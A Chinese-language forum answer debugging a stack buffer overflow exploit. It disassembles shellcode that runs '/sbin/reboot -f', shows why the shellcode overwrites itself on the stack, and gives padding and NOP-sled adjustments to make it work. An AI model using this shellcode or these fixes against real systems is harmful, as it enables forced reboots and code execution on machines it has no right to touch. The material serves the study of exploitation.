2 回答

TA贡献1799条经验 获得超8个赞
所以根据我的计算,这就是你的 shellcode 正在做的事情(这里是 Intel Assembly 语法):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
分段错误发生在0xbffff1b8,即使您可以看到那里的操作码完全有效。那么可能发生了什么?让我们来看看...
您可能会注意到有相当多的pushing 正在发生。所有这些pushes 都会覆盖调用堆栈中的数据。确切地说,总共 34 个字节。
是的,shellcode 本身存储在同一个调用堆栈中......你在连接点吗?shellcode 正在覆盖自己并破坏它自己的代码。它开始很好,但是当它到达时0xbffff1b8,有效代码不再存在,因为它被其他东西完全覆盖了。
您需要确保padding和eip组合的长度为 34 或更多,以便 shellcode 在开始覆盖它自己的代码之前有足够的堆栈空间来工作。
也就是说,padding必须至少长 18 个字节。
将nopsled长度减少 32 个字节,只是为了使它宽敞,然后将这些字节传输到padding. 这应该为 shellcode 保留足够的堆栈空间来完成它的工作而不会破坏自身。
而且由于当前eip地址是shellcode开始前的44个字节,所以不需要调整。
还有其他一些事情需要注意,首先,一旦shellcode运行完毕,它就不再关心接下来会发生什么。这意味着即使按预期工作,该程序也会在完成调用重启后崩溃。
此外,/sbin/reboot可能需要 root 访问权限才能工作。如果这个进程不是以 root 身份运行,它不会重新启动(它只会崩溃)。
添加回答
举报